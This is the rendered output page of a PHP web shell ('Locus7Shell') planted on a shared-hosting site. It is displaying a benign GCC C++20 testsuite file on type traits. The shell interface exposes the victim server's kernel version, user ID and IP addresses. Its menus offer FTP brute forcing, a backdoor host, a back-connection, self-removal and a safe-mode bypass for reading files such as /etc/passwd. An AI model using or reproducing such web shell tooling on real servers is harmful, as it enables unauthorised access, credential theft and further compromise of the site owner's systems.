Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp2a/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cond-triv3.C (1.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do compile { target c++20 } }

template<class T>
struct X
{
    T first{};

    X& operator=(const X&) = delete;
    X& operator=(const X&) requires requires (T& t) { t = t; } { return *this; }
};

// C++20 std::pair<const int, int>:
using cxx20_pair = X<const int>;
static_assert( __is_trivially_constructible(cxx20_pair, const cxx20_pair&), "" );
static_assert( !__is_assignable(cxx20_pair&, const cxx20_pair&), "" );
static_assert( __is_trivially_copyable(cxx20_pair), "" );

template<bool, typename, typename F> struct conditional { using type = F; };
template<typename T, typename F> struct conditional<true, T, F> { using type = T; };

struct base
{
    base() = default;
    ~base() = default;
    base(const base&) = default;
    base& operator=(const base&) = delete;
};

struct nope;

template<class T>
struct Y : base
{
    T first{};

    Y& operator=(typename conditional<__is_assignable(T&, const T&), const Y&, const nope&>::type)
    { return *this; }
};

// C++17 std::pair<const int, int>:
using cxx17_pair = Y<const int>;
static_assert( __is_trivially_constructible(cxx17_pair, const cxx17_pair&), "" );
static_assert( ! __is_assignable(cxx17_pair&, const cxx17_pair&), "" );
static_assert( __is_trivially_copyable(cxx17_pair), "???" );

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--